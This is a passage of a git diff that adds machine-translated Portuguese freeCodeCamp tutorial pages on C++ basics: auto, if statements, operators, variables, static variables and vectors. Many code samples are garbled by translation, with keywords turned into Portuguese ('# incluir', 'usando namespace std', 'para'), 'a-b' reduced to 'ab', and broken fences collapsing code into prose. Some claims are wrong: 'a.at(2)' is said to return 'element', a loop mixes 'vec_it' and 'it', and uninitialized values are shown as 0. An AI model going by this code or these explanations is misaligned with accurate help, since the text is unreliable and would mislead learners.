+Embora bastante técnica, a [página de autopresença](http://en.cppreference.com/w/cpp/language/auto) descreve muitas outras utilizações de `auto` e os detalhes de quando pode e não pode ser usado.
+
+### `auto` antes do C ++ 11
+
+Em alguns livros antigos contendo código _muito_ antigo, a palavra `auto` chave `auto` é usada de maneira muito diferente.
+
+Esse `auto` particular era uma palavra-chave emprestada de C e provavelmente era a palavra-chave menos usada de todos os tempos.
+
+Em C ++, todas as variáveis ​​têm _duração automática_ , ou seja, são definidas até você sair da função em que estão definidas.
+
+Por exemplo:
+
+\`\` \`cpp
+
+# incluir
+
+int main () { int a; a = 1; // faz sentido, como foi definido na mesma função
+```
+    return 0; 
+```
+
+} a = 2; // não faz sentido, já que não está definido aqui \`\` \`
+
+Este é um dado em C ++, e `auto` especificou que a variável deve ter uma _duração automática_ , daí a falta de uso.
+
+## Leitura adicional:
+
+*   http://www.stroustrup.com/C++11FAQ.html#auto
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/the-if-statement/index.md b/client/src/guide/portuguese/cplusplus/the-if-statement/index.md
new file mode 100644
index 0000000000..f24ee7b7e8
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/the-if-statement/index.md
@@ -0,0 +1,95 @@
+---
+title: C++ If Statement
+localeTitle: Declaração de C ++ If
+---
# A instrução IF.
+
+**O que faz uma declaração if?**
+
+*   A instrução `if` avalia a expressão de teste presente dentro dos parênteses.
+*   A instrução `if` usa operadores relacionais e lógicos para criar expressões lógicas.
+
+* * *
+
+A forma geral da declaração `if` :
+
+```cpp
+  if (Test Expression / Condition) 
+  { 
+    // Block of statements if test expression is True 
+  } 
+```
+
+Se o valor da expressão de teste for **verdadeiro** , o bloco de código dentro da instrução if é executado.
+
+Se o valor da expressão de teste for **falso** , então o bloco de código dentro da instrução if é ignorado e seu código continua.
+
+Exemplo `if` declaração:
+
+```cpp
+  int a = 10; 
+ 
+  // true statement 
+  if (a < 20) 
+  { 
+    // execute this block of code 
+  } 
+ 
+  // false statement 
+  if (a < 0) 
+  { 
+    // Skip this block of code. 
+  } 
+```
+
+Exemplo em C ++:
+
+```cpp
+  // Program to check if number entered by the user is positive 
+  // If negative, the block of code is skipped 
+ 
+  #include <iostream> 
+  using namespace std; 
+ 
+  int main() 
+  { 
+    int no ; 
+    cout << "Enter a number: "; 
+    cin >> no; 
+ 
+    // if statement to check if the number is positive 
+    if ( no > 0) 
+    { 
+      cout << "You have entered a positive number: " << no << endl; 
+    } 
+ 
+    // If number is not positive, then if statement is skipped a program continues 
+    cout << "This step is always printed" << endl; 
+ 
+    return 0; 
+  } 
+```
+
+**Saída:**
+
+SAÍDA 1:
+```
+Enter a number: 5 
+ You have entered a positive number: 5 
+ This step is always printed 
+ ``` 
+ This is the output when the number entered is positive. 
+ 
+ OUTPUT 2: 
+```
+
+Digite um número: -1 Este passo é sempre impresso \`\` \` Esta é a saída quando o número digitado é negativo.
+
+[Experimente o código você mesmo! :)](https://repl.it/Mg9X)
+
+_Parabéns. Este é o final do artigo sobre a declaração IF_
+
+**Boa sorte para todos vocês**
+
+**Codificação Feliz! :)**
+
+**Sinta-se à vontade para fazer qualquer pergunta sobre a página GitHub do [FreeCodeCamp](https://forum.freecodecamp.org/) ou [sobre o Fórum do FreeCodeCamp.](https://forum.freecodecamp.org/)**
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/tokens-operators/index.md b/client/src/guide/portuguese/cplusplus/tokens-operators/index.md
new file mode 100644
index 0000000000..b2fb701dd6
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/tokens-operators/index.md
@@ -0,0 +1,186 @@
+---
+title: Operators
+localeTitle: Operadores
+---
# Operadores:
+
+*   Os operadores permitem que você execute operações em seus dados.
+*   Os dados que estão sendo operados são chamados de _operando_ .
+*   Os diferentes tipos de operadores em C ++ são:
+*   _OPERANDS_ são os dados em que o operador executa determinados comandos.
+*   Os operadores são de 3 tipos: unário (funciona em 1 operando), binário (trabalha em 2 operandos), ternário (trabalha em 3 operandos).
+
+### 1 Os operadores de I / O -
+
+*   Esses operadores permitem direcionar entrada e saída.
+    
+    ## Oerador de entrada ">>" ##
+    
+    é usado para ler dados da entrada padrão (a instrução "cin").
+    
+    ## O operador de saída "<<"
+    
+    é usado para enviar saída na instrução `cout` .
+    
+
+### 2 Os operadores aritméticos -
+
+*   Esses operadores permitem que você execute operações aritméticas básicas.
+
+1.  O operador `+` _adiciona_ os dois operandos.
+    
+2.  O operador `-` _subtrai_ os dois operandos.
+    
+3.  O operador `*` _multiplica_ os dois operandos.
+    
+4.  O operador `/` _divide_ e fornece o _quociente_ dos dois operandos.
+    
+5.  O operador `%` _divide_ e fornece o _restante_ dos dois operandos. (Ou, para o leitor mais matematicamente inclinado, `a % b` é essencialmente o resultado de "um mod b"
+    
+    ### Exemplo de uso de operadores aritméticos:
+    
+    \`\` \`cpp
+    
+
+# incluir
+
+usando namespace std;
+
+int main () { int a = 5; // 1º operando int b = 10; // 2º operando
+```
+    cout << "+ operator " << a+b << "\n"; //Add 
+    cout << "- operator " << ab << "\n"; //Subtract 
+    cout << "* operator " << a*b << "\n"; //Multiply 
+    cout << "/ operator " << b/a << "\n"; //Find Quotient 
+    cout << "modulus operator " << b%a << "\n"; //Find remainder 
+ 
+    return 0; 
+```
+
+} \`\` \`
+
+SAÍDA:
+```
++ operator 15 
+ - operator -5 
+ * operator 50 
+ / operator 2 
+ modulus operator 0 
+```
+
+[Experimente o código você mesmo! :)](https://repl.it/Mge9)
+
+### O operador de incremento:
+
+*   `++` é conhecido como o operador de incremento. Aumenta o valor de uma variável inteira em 1.
+
+Os 2 tipos de incremento:
+
+*   O pré-incremento primeiro incrementa o valor e depois o utiliza. Exemplo: `int a ; ++a;`
+*   Post increment primeiro usa a variável, em seguida, incrementa-lo. Exemplo: `int b; b++;`
+
+### O operador de decremento:
+
+*   `--` é conhecido como o operador de decréscimo. Diminui o valor de uma variável inteira por 1.
+
+Os 2 tipos de decréscimo:
+
+*   Pre decrement primeiro decrementa o valor e, em seguida, usa-o. Exemplo: `int a ; --a;`
+*   Post decrement primeiro usa a variável, em seguida, diminui. Exemplo: `int b; b--;`
+
+Exemplo de operadores de incremento e decremento:
+
+```cpp
+#include <iostream> 
+ using namespace std; 
+ 
+ int main() 
+ { 
+        int a = 3 ,b = 4; 
+ 
+         // INCREMENT 
+        cout<< "Value of int a PRE INCREMENTED : " << ++a << "\n"; 
+        cout<< "Value of int b POST INCREMENTED : " << b++ << "\n"; 
+        cout<< "Value of b is changed after using once : " << b << "\n"; 
+ 
+         // DECREMENT 
+        cout << "\n"; //go to next line 
+        a = 10; //Assigning a new value to a 
+        b = 10; //Assigning a new value to b 
+        cout << "Value of int a PRE DECREMENTED : " << --a << "\n"; 
+        cout << "Value of int b POST DECREMENTED : " << b-- << "\n"; 
+        cout << "Value of b is changed after using once : " << b << "\n"; 
+ 
+        return 0; 
+ } 
+```
+
+SAÍDA:
+```
+Value of int a PRE INCREMENTED : 4 
+ Value of int b POST INCREMENTED : 4 
+ Value of b is changed after using once : 5 
+ 
+ Value of int a PRE DECREMENTED : 9 
+ Value of int b POST DECREMENTED : 10 
+ Value of b is changed after using once : 9 
+```
+
+[Experimente o código você mesmo! :)](https://repl.it/Mgg4/2)
+
+### 3: Operadores Relacionais:
+
+*   Esses operadores nos dizem a relação entre dois operandos e retornam um valor booleano (0 ou 1). Se a relação é `true` então resulta em 1. Se a realção for falsa, isso resultará em 0.
+    
+*   Os 6 operadores relacionais são:
+    
+    1.  Menos que `<`
+    2.  Maior do que `>`
+    3.  Menor ou igual a `<=`
+    4.  Maior que ou igual a `>=`
+    5.  Igual a `==`
+    6.  Não é igual a `!=`
+
+### 4: Operadores Lógicos:
+
+*   Esses operadores combinam expressões para operações lógicas. Eles são :
+
+1.  Lógico E `&&` : Avalia para verdadeiro se ambos os valores forem verdadeiros.
+    
+2.  Lógica OR `||` : Avalia como verdadeiro se algum valor for verdadeiro.
+    
+3.  Lógico NÃO `!` : Se a _expressão_ for verdadeira, então _! A expressão_ é falsa. Este operador inverte o valor verdade e é um operador unário.
+    
+    ### 5\. Operadores Ternarios:
+    
+    O operador `?:` É o operador ternário, ou o _operador condicional_ , porque ele pode ser usado para substituir uma instrução `if else` , ou mesmo uma declaração `if else if` . A sintaxe:
+    
+
+`condition ? ValueIfTrue : ValueIfFalse` . Isso se expande para:
+
+```cpp
+if(condition) 
+ ValueIfTrue; 
+ else ValueIfFalse; 
+```
+
+Chamar `ValueIfTrue` um valor é um pouco errado, já que não precisa ser um número. Algo assim:
+
+`condition ? FirstLevelTrueValue : ConditionIfFalse ? SecondLevelTrueValue : SecondLevelFalseValue` também funciona e é interpretado da seguinte maneira `if else if` :
+
+```cpp
+if(condition) 
+ FirstLevelTrueValue; 
+ else if(ConditionIfFalse) 
+ SecondLevelTrueValue; 
+ else SecondLevelFalseValue; 
+```
+
+Da mesma forma, instruções `if` aninhadas também podem ser feitas usando operadores ternários.
+
+_Camper, agora você sabe quais são as fichas. O próximo artigo será sobre_ _PARABÉNS_
+
+**Boa sorte para todos vocês**
+
+**Codificação Feliz! :)**
+
+**Sinta-se à vontade para fazer qualquer pergunta sobre a página GitHub do [FreeCodeCamp](https://forum.freecodecamp.org/) ou [sobre o Fórum do FreeCodeCamp.](https://forum.freecodecamp.org/)**
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/tokens-variables/index.md b/client/src/guide/portuguese/cplusplus/tokens-variables/index.md
new file mode 100644
index 0000000000..01e90830b9
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/tokens-variables/index.md
@@ -0,0 +1,208 @@
+---
+title: Tokens Part 1
+localeTitle: Tokens Parte 1
+---
### O que são tokens?
+
+Tokens são as menores unidades de um programa que são importantes para o compilador. Existem diferentes tipos de tokens:
+
+*   Palavras-chave
+    
+*   Operadores
+    
+*   Pontuadores
+    
+*   Literais
+    
+*   Identificadores
+    
+*   **Combinação de fichas forma uma expressão**
+    
+
+### O que são variáveis?
+
+*   Definição de livro de texto: As variáveis ​​são nomeadas locais de memória cujos dados podem ser alterados.
+    
+*   Mas eu gostaria que você pensasse em uma variável para ser algo como uma caixa, algo assim: ![Img](https://i.imgur.com/YdbgWHL.png)
+    
+
+Então, por exemplo: Estou mudando para um novo lugar e preciso arrumar minhas coisas em caixas. Assim, vêm 2 coisas para minha mente **Que tipo de material será armazenado na caixa, de modo que o tamanho da caixa seja conhecido (o tipo de dados)** e **Como eu identifico a caixa? (Nomeando a variável)**  
+Portanto, sabemos que uma variável em C ++ precisa de um _nome_ e um _tipo de dados_ e que o valor armazenado neles pode ser alterado.
+
+### Tipos de dados em C ++:
+
+Ao declarar variáveis ​​em c ++, elas devem ter um nome para o qual você irá referenciar mais tarde, um valor (constante ou não) e um tipo. O tipo informará ao compilador os valores que a variável pode usar, as operações possíveis e economizará um certo espaço no memmory. Em c ++ existem dois tipos de dados:
+
+*   Tipo simples
+*   Tipo de estrutura
+
+### Tipos de dados simples
+
+*   Booleano - bool Funciona como um interruptor, pode ser ligado ou desligado.
+*   Caráter - char Armazena um único caractere.
+*   Inteiro - int Armazena um [inteiro](https://en.wikipedia.org/wiki/Integer) .
+*   Ponto flutuante - flutuar Eles podem usar decimais.
+*   Duplo ponto flutuante - duplo Precisão dupla do tipo flutuante.
+
+Aqui você pode ver alguns exemplos:
+
+```cpp
+bool GameRunning = true; 
+ char a; 
+ int x = 2; 
+```
+
+#### Esses tipos também podem ser modificados com modificadores como:
+
+assinado sem assinatura curto longo
+
+### Tipo de dados de estrutura
+
+#### Identificadores
+
+*   Identificadores são os nomes dados a uma variável ou uma classe ou uma função ou qualquer função definida pelo usuário.
+
+## Regras para nomear uma variável:
+
+*   Comece a nomear com uma letra de AZ ou az.
+*   Os números podem seguir a primeira letra, mas não podemos começar a nomear com números.
+*   NÃO é permitido o uso de espaços ou caracteres especiais, em vez disso, use um UNDERSCORE \_.
+
+#### Declarando um variabe:
+
+A sintaxe é a seguinte < _tipo de dados_ > < _nome da variável_ >; ou < _tipo de dados_ > < _nome da variável_ > = < _valor_ >; se também quisermos inicializar a variável.
+
+Por exemplo : `cpp int a ; //declaring a variable named 'a' of type integer. a=4; //initializing a variable int b = 5 ; //declaring and initializing a variable 'b' of type integer.`
+
+**Exemplos de declaração de uma variável:**
+
+```cpp
+int a9; 
+ char A; 
+ double area_circle; 
+ long l; 
+```
+
+**Formas erradas de declarar variáveis**
+
+```cpp
+int 9a; 
+ char -a; 
+ double area of circle; 
+ long l!!; 
+```
+
+*   Nomes variáveis ​​não podem começar com um número
+*   Caracteres especiais não são permitidos
+*   Espaços não são permitidos
+
+Você pode imaginar caixas diferentes de tamanhos diferentes e armazenar coisas diferentes como variáveis ​​diferentes.
+
+**NOTAS :**
+
+1.  **O compilador C ++ ignora os espaços em branco e eles geralmente são usados ​​para embelezar o código, de modo que seja fácil para qualquer programador depurar ou entender o código.**
+2.  **Se uma variável não for inicializada, ela contém um valor de lixo. Deixe-me dar um exemplo:**
+
+### Escopo das Variáveis
+
+Todas as variáveis ​​têm sua área de funcionamento, e fora desse limite elas não mantêm seu valor, esse limite é chamado de escopo da variável. Para a maioria dos casos é entre as chaves, em que a variável é declarada que existe uma variável, não fora dela. Vamos estudar as classes de armazenamento mais tarde, mas a partir de agora, podemos dividir as variáveis ​​em dois tipos principais,
+
+\*Variáveis ​​globais.
+
+\* Variáveis ​​locais.
+
+#### Variáveis ​​globais
+
+Variáveis ​​globais são aquelas que já foram declaradas e podem ser usadas durante toda a vida útil do programa por qualquer classe ou função. Eles devem ser declarados fora da função main (). Se apenas declarado, eles podem receber diferentes valores em diferentes momentos da vida útil do programa. Mas mesmo que eles sejam declarados e inicializados ao mesmo tempo fora da função main (), eles também podem receber qualquer valor em qualquer ponto do programa.
+
+Exemplo: Apenas declarado, não inicializado.
+
+```cpp
+#include <iostream> 
+ using namespace std; 
+ int x;                // Global variable declared 
+ int main() 
+ { 
+ x=10;                 // Initialized once 
+ cout <<"first value of x = "<< x; 
+ x=20;                 // Initialized again 
+ cout <<"Initialized again with value = "<< x; 
+ } 
+```
+
+#### Variáveis ​​Locais
+
+Variáveis ​​locais são as variáveis ​​que existem apenas entre as chaves, nas quais são declaradas. Fora que eles estão indisponíveis e leva a erro de tempo de compilação.
+
+Exemplo:
+
+```cpp
+#include <iostream> 
+ using namespace std; 
+ int main() 
+ { 
+ int i=10; 
+ if(i<20)        // if condition scope starts 
+  { 
+    int n=100;   // Local variable declared and initialized 
+  }              // if condition scope ends 
+ cout << n;      // Compile time error, n not available here 
+ } 
+```
+
+### Variáveis ​​Constantes
+
+Variável constante são as variáveis ​​que não podem ser alteradas. Por exemplo, se você precisasse de "pi" em seu código, você não desejaria alterá-lo após a inicialização.
+
+Exemplo:
+
+```cpp
+#include <iostream> 
+ using namespace std; 
+ const double PI = 3.14159253; 
+ int main() 
+ { 
+ //Calculating the area of a circle, using user provided radius 
+ double radius; 
+ //input and output explained in other guide 
+ cin>>radius; 
+ //pi*r^2 
+ double area = PI*radius*radius; 
+ cout<<area<<endl; 
+ } 
+```
+
+### Valores de lixo em uma variável
+
+Se uma variável não for inicializada, ela contém um valor de lixo. Por exemplo:
+
+Então, em termos de caixas, você pode imaginar isso como -
+
+![Img](https://i.imgur.com/YdbgWHL.png)
+
+\`\` \`cpp #incluir usando namespace std; int main () { int a; cout << "Valor do lixo em a:" << a << endl; // declarando a variável chamada 'a' do tipo inteiro a = 5; // initializing variable. cout << "Novo valor em um" << a << endl;
+
+} \`\` \`
+
+### A saída é:
+```
+Garbage value in a : 0 
+ New value in a :  5 
+```
+
+Como você pode ver, já existe um valor armazenado em 'a' antes de atribuirmos um valor (aqui, é 0). Isso deve permanecer na mente de cada programador, de modo que, quando as variáveis ​​forem usadas, elas não criem um erro lógico e imprimam valores ilegíveis.
+
+[Experimente o código você mesmo! :)](https://repl.it/Mg7j)
+
+#### Palavras-chave :
+
+_Palavras-chave são palavras reservadas que transmitem um significado especial ao compilador. Eles **NÃO PODEM** ser usados ​​para nomear em c ++._ Exemplos de palavras-chave: inline, operador, privado int, duplo, vazio, char, modelo, usando, virtual, break, caso, switch, amigo, etc.
+
+**Cada uma dessas palavras-chave é usada para uma função especial em C ++.**
+
+_Tokens parte 1 acabou. Vejo vocês campistas na [Parte 2](https://guide.freecodecamp.org/cplusplus/tokens-part-II) de Tokens :)_
+
+**Boa sorte para todos vocês**
+
+**Codificação Feliz! :)**
+
+**Sinta-se à vontade para fazer qualquer pergunta sobre a página GitHub do [FreeCodeCamp](https://forum.freecodecamp.org/) ou [sobre o Fórum do FreeCodeCamp.](https://forum.freecodecamp.org/)**
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/tokens-variables/static-variable-info/index.md b/client/src/guide/portuguese/cplusplus/tokens-variables/static-variable-info/index.md
new file mode 100644
index 0000000000..20d3437732
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/tokens-variables/static-variable-info/index.md
@@ -0,0 +1,120 @@
+---
+title: Variables
+localeTitle: Variáveis
+---
+Vamos discutir algo conhecido como variáveis. Variáveis ​​são como um balde. Você pode colocar algo nele e depois alterá-lo depois, quando necessário. Em C ++, existem muitos tipos de variáveis ​​como Integers, Strings, Booleans e muitos outros. Vamos ver um programa simples usando variáveis ​​inteiras. Inteiros armazenam números inteiros positivos, negativos ou nulos. Números inteiros não são números fracionários, por exemplo, 1/2, 1/4 e 1/5. Vamos olhar para um programa simples que usa um inteiro variável.
+
+```cpp
+#include <iostream> 
+ using namespace std ; 
+ int main() 
+ { 
+    int a;          // Declare an integer variable a 
+    a = 5;          // Assign value of 5 to variable a 
+    cout << a;      // Display the value of variable a which contains 5 
+    return 0; 
+ } 
+```
+
+Quando você executa este programa, você verá 5 exibidos na tela
+
+*   Note que no programa acima, // é colocado depois das linhas. O símbolo "//" é para comentar nosso código. Código após o símbolo "//" não é executado na linha onde está colocado.
+    
+*   Na linha 5, uma variável inteira simples é declarada.
+    
+*   Na linha 6, o valor 5 é atribuído à variável a. Agora, sempre que usamos a variável a em nosso programa, seu valor será 5 a menos que nós o mudemos.
+    
+*   Na linha 7, exibimos o valor da variável ae 5 é impresso na tela.
+    
+
+### Escopo das Variáveis
+
+Todas as variáveis ​​têm sua área de funcionamento, e fora desse limite elas não mantêm seu valor, esse limite é chamado de escopo da variável. Para a maioria dos casos é entre as chaves, em que a variável é declarada que existe uma variável, não fora dela. Vamos estudar as classes de armazenamento mais tarde, mas a partir de agora, podemos dividir as variáveis ​​em dois tipos principais,
+
+\*Variáveis ​​globais.
+
+\* Variáveis ​​locais.
+
+#### Variáveis ​​globais
+
+Variáveis ​​globais são aquelas que já foram declaradas e podem ser usadas durante toda a vida útil do programa por qualquer classe ou função. Eles devem ser declarados fora da função main (). Se apenas declarado, eles podem receber diferentes valores em diferentes momentos da vida útil do programa. Mas mesmo que eles sejam declarados e inicializados ao mesmo tempo fora da função main (), eles também podem receber qualquer valor em qualquer ponto do programa.
+
+Exemplo: Apenas declarado, não inicializado.
+
+```cpp
+include <iostream> 
+ using namespace std; 
+ int x;                // Global variable declared 
+ int main() 
+ { 
+ x=10;                 // Initialized once 
+ cout <<"first value of x = "<< x; 
+ x=20;                 // Initialized again 
+ cout <<"Initialized again with value = "<< x;` 
+ } 
+```
+
+#### Variáveis ​​Locais
+
+Variáveis ​​locais são as variáveis ​​que existem apenas entre as chaves, nas quais são declaradas. Fora que eles estão indisponíveis e leva a erro de tempo de compilação.
+
+Exemplo:
+
+```cpp
+include <iostream> 
+ using namespace std; 
+ int main() 
+ { 
+ int i=10; 
+ if(i<20)        // if condition scope starts 
+  { 
+    int n=100;   // Local variable declared and initialized 
+  }              // if condition scope ends 
+ cout << n;      // Compile time error, n not available here 
+ } 
+```
+
+Agora vamos ler sobre um novo tipo de variável
+
+#### Variável estática
+
+Variáveis ​​estáticas: quando uma variável é declarada como estática, o espaço para ela é alocado para o tempo de vida do programa. Mesmo que a função seja chamada várias vezes, o espaço para a variável estática é alocado apenas uma vez e o valor da variável na chamada anterior é realizado na próxima chamada de função. Isso é útil para implementar corrotinas em C / C ++ ou qualquer outro aplicativo em que o estado anterior da função precise ser armazenado. Em termos leigos, isso significa que uma variável normal quando sai do escopo perde sua identidade (valor), mas uma variável estática tem um escopo global e retém seu valor até o final do programa, mas ao contrário da variável global, não é necessário declará-lo no início do programa.
+
+#### EXTRA-
+
+Static é uma palavra-chave em C ++ usada para dar características especiais a um elemento. Elementos estáticos são alocados em armazenamento apenas uma vez na vida útil de um programa na área de armazenamento estático. E eles têm um escopo até a vida útil do programa.
+
+#### CÓDIGO-
+```
+#include <iostream> 
+ #include <string> 
+ using namespace std; 
+ 
+ void howstaticworks() 
+ { 
+    static int count = 0;  // static variable 
+    cout << count << " "; 
+ 
+    /* value is updated and 
+     will be carried to next 
+     function calls*/ 
+    count++; 
+ } 
+ 
+ int main() 
+ { 
+    for (int i=0; i<5; i++) 
+        howstaticworks(); 
+    return 0; 
+ } 
+```
+
+#### Tente você mesmo
+
+basta copiar o código e colá-lo no link dado. Execute no IDE - https://ideone.com/
+
+Saída: 0 1 2 3 4
+
+Você pode ver no programa acima que a contagem de variáveis ​​é declarada como estática. Então, seu valor é realizado através das chamadas de função. A contagem de variáveis ​​não está sendo inicializada para cada vez que a função é chamada.
+
+Vamos experimentar o mesmo código removendo a palavra-chave "estática" e adivinhar a saída e compará-la com uma na IDE. A estática é agora convertida em variável normal
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/vector/index.md b/client/src/guide/portuguese/cplusplus/vector/index.md
new file mode 100644
index 0000000000..a48658f0ab
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/vector/index.md
@@ -0,0 +1,211 @@
+---
+title: Vectors
+localeTitle: Vetores
+---
+## Vetores
+
+O `vector` C ++ é um dos contêineres mais usados ​​em C ++. Um contêiner é uma estrutura de dados que armazena uma coleção de objetos que podem variar de ordenados (como `vector` !) A não ordenados (como `set` ). Todos os contêineres C ++ possuem um conjunto diferente de funções que permitem acessar um objeto nessa coleção, modificar e fazer um loop sobre os elementos nessa estrutura de dados.
+
+Os vetores são semelhantes aos ArrayLists em Java, pois você não precisa especificar o comprimento do contêiner. Comparado a um array onde você tem que definir o tamanho, seu tamanho depende do seu conteúdo.
+
+`std::vector` faz parte da biblioteca padrão C ++ (daí o prefixo `std::` e permite que você armazene dados contíguos do mesmo tipo de dados. NOTA: **Todos os objetos dentro de um vetor devem ser do mesmo tipo de dados**
+
+O tipo de dados armazenado em um vetor fica entre os colchetes angulares ao lado da palavra-chave vector. Por exemplo, se você gostaria de armazenar uma coleção de strings, o vetor seria `std::vector<std::string> vector_name`
+
+_NOTA_ : Você deve incluir a biblioteca de vetores sempre que usar vetores!
+
+`#include <vector>`
+
+### Construção de vetor
+
+Existem muitas maneiras convincentes de construir um vetor.
+
+Usando uma lista de iniciadores - onde os objetos são listados dentro de um conjunto de chaves: `{ }`
+
+```cpp
+std::vector<int> a{1, 2, 3, 4, 5}; // a is a vector of 5 ints: 1, 2, 3, 4 and 5 
+ std::vector<std::string> b{"hello", "world"}; // b is a vector of 2 strings: "hello" and "world" 
+ std::vector<bool> v; // v is an empty vector 
+```
+
+Construindo-o a partir de outro vetor (isso é conhecido como construção de cópia)
+
+```cpp
+std::vector<double> a{1.0, 2.0, 3.0}; 
+ std::vector<double> b(a); // b is a vector of 3 doubles: 1.0, 2.0 and 3.0 
+```
+
+Inicializando-o com o mesmo elemento:
+
+```cpp
+std::vector<int> a(100, -1); // a is a vector of 100 elements all set to -1 
+```
+
+### Iteradores de vetores
+
+Iteradores podem ser considerados como ponteiros usados ​​especificamente para navegar em contêineres (como vetores). Os iteradores mais importantes são `begin()` e `end()` . `begin()` retorna um ponteiro para o primeiro item em um vetor ao passo que `end()` aponta para uma posição após o último item em um vetor. Como tal looping através de um vetor pode ser feito como:
+
+```cpp
+std::vector<int> vec{1, 2, 3}; 
+ 
+ for(auto vec_it = vec.begin(); vec_it != vec.end(); it++){ 
+    // since vec_it is a pointer and points to the memory address of the item 
+    // inside the vector, vec_it must be dereferenced using '*' 
+    std::cout << *it << '\n'; 
+ } 
+ /*  Output 
+    1 
+    2 
+    3 
+ */ 
+```
+
+### Modificando um vetor
+
+Empurrando itens para um vetor:
+
+```cpp
+std::vector<int> vec; // constructs an empty vector 
+ 
+ for (int i = 0; i < 10; i = i + 2){ 
+    vec.push_back(i); 
+ } 
+ // vec now holds [0, 2, 4, 6, 8] 
+```
+
+Inserir um item em uma determinada posição é um pouco diferente. A inserção do vetor C ++ função funciona em iteradores. Ele irá inserir o item dado uma posição antes do dado iterador.
+
+```cpp
+std::vector<unsigned int> vec{3, 400, 12, 45}; 
+ 
+ auto iter = vec.begin() + 2; // iter now points to '12' 
+ vec.insert(iter, 38); // inserts '38' before '12' 
+ 
+ // vec: [3, 400, 38, 12, 45] 
+```
+
+### Acesso ao elemento
+
+A biblioteca padrão fornece diferentes funções para acessar determinados elementos em seu vetor.
+
+```cpp
+std::vector<std::string> a{"test", "element", "access"}; 
+ 
+ std::string first_item = a.front(); // gets the first item of the vector ("test") 
+ std::string last_item = a.back(); // gets the last item in the vector ("access") 
+ 
+ // To get an element at a specific index (remember: vector indices start at 0) 
+ std::string second_item = a.at(2); // gets "element" 
+ // OR 
+ std::string second_item = a[2]; // gets "element" 
+```
+
+### Looping sobre elementos em um `vector`
+
+Looping sobre elementos em um C ++ `std::vector` é bem diferente do loop de elementos em um vetor em JavaScript ou Ruby. Devido ao fato do C ++ ser uma pequena abstração de C, você só pode fazer o loop de elementos usando essas pequenas variáveis ​​chamadas iteradores para acessar cada elemento. Os iteradores geralmente vêm na forma de ponteiros, que são variáveis ​​que armazenam o endereço de memória de outra variável. Você pode aprender mais sobre ponteiros [aqui](https://www.tutorialspoint.com/cplusplus/cpp_pointers.htm) . No entanto, como os iteradores agem como ponteiros (ou vice-versa), para ver para o que eles apontam, é necessário desreferencia-lo em uma variável do tipo apropriado. Como vamos fazer isso? AQUI. NÓS. IR!
+
+```cpp
+std::vector<std::string> a{"test", "element", "access"}; 
+ for(auto it = v.begin(); it != v.end(); it++) { //notice use of auto keyword 
+    cout<<*it<<endl; //Will print out string that the iterator is currently ppointing to 
+ } 
+```
+
+A partir daqui, você pode fazer todos os tipos de coisas legais, como manipular o vetor ou mexer com a ordem que quiser!
+
+### Algumas funções de membro úteis
+
+A biblioteca de modelos padrão (STL) também fornece diferentes _métodos_ para você:
+
+```cpp
+std::vector.size(); // returns the size of the vector (the number of positions in the vector) 
+ std::vector.begin(); // returns an iterator which is a pointer to the beginning of the vector 
+ std::vector.end(); // returns an iterator which is a pointer to the end of the vector 
+ std::vector.empty(); // returns true if the vector is empty, otherwise returns false. 
+ std::vector.front(); // returns the first element of the vector. 
+ std::vector.back(); // returns the last element of the vector. 
+ std::vector.push_back(n); // inserts the element "n" to the end of the vector. 
+ std::vector.pop_back(n); // removes the last element of the vector 
+```
+
+### Iterador de vetor
+
+Os iteradores fornecem outro método para acessar elementos no seu vetor.
+
+Declaração Iterator.
+
+```cpp
+std::vector<int> v; 
+ //Iterator delcaration for the above vector will correspond to 
+ std::vector<int>::iterator it; 
+```
+
+Usando o iterador para imprimir elementos do vetor usando loop
+
+```cpp
+for(it=v.begin(); it!=v.end(); ++it) 
+ //std::vector::begin and std::vector::end return iterator pointing to first and last element of the vector respectively. 
+  cout<<*it; 
+```
+
+### Iterando através de um vetor
+
+Existem diferentes maneiras de percorrer um vetor e acessar seu conteúdo. Os seguintes formulários são equivalentes, o primeiro envolve o uso de uma expressão baseada em intervalo (desde C ++ 11), o segundo usa iteradores e o último é uma iteração baseada em índice.
+
+\`\` \`cpp
+
+# incluir
+
+# incluir
+
+// Primeiro declare o vetor std :: vector myVector {1, 2, 3, 4, 5}; // a é um vetor de 5 ints: 1, 2, 3, 4 e 5
+
+// Usando um loop baseado em intervalo (desde C ++ 11) for (int element: myVector) {// Lê como "para cada elemento no myVector" std :: cout << "O elemento é" << element << std :: endl; }
+
+// Usando um iterador std :: vector :: iterador; // Declara o iterador for (it = myVector.begin (); it! = myVector.end (); ++ ele) { std :: cout << "O elemento é" << \* ele << std :: endl; // Dereference o iterador para acessar seus dados }
+
+// Usando índices para (std :: vector :: size\_type i = 0; i! = myVector.size (); i ++) { std :: cout << "O elemento é" << myVector \[i\] << std :: endl; // Dereference o iterador para acessar seus dados }
+```
+### Sorting A Vector In Ascending Order 
+ Sorting a vector based on ascending order can be done with the help of Sort() in C++. 
+```
+
+cpp
+
+# incluir
+
+# incluir
+
+# incluir
+
+usando namespace std;
+
+int main () {
+
+vetor v {10, 5, 82, 69, 64, 70, 3, 42, 28, 0}; sort (v.begin (), v.end ());
+
+cout << "Conteúdo do vetor classificado em ordem crescente: \\ n"; para (int e: v) { cout << e << ""; }
+
+return 0; }
+```
+### Sorting Vector In Descending Order 
+ Sorting Vector in descending order can be done with the help of third argument namely greater<int>() in Sort() in C++. 
+```
+
+cpp
+
+# incluir
+
+# incluir
+
+# incluir
+
+usando namespace std;
+
+int main () {
+
+vetor v {10, 5, 82, 69, 64, 70, 3, 42, 28, 0}; sort (v.begin (), v.end (), maior ());
+
+cout << "Conteúdo do vetor classificado em ordem crescente: \\ n"; para (int e: v) { cout << e << ""; }
+
+return 0; } \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/while-loop/index.md b/client/src/guide/portuguese/cplusplus/while-loop/index.md
new file mode 100644
index 0000000000..43185ba828
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/while-loop/index.md
@@ -0,0 +1,37 @@
+---
+title:While-loop
+localeTitle: undefined
+---
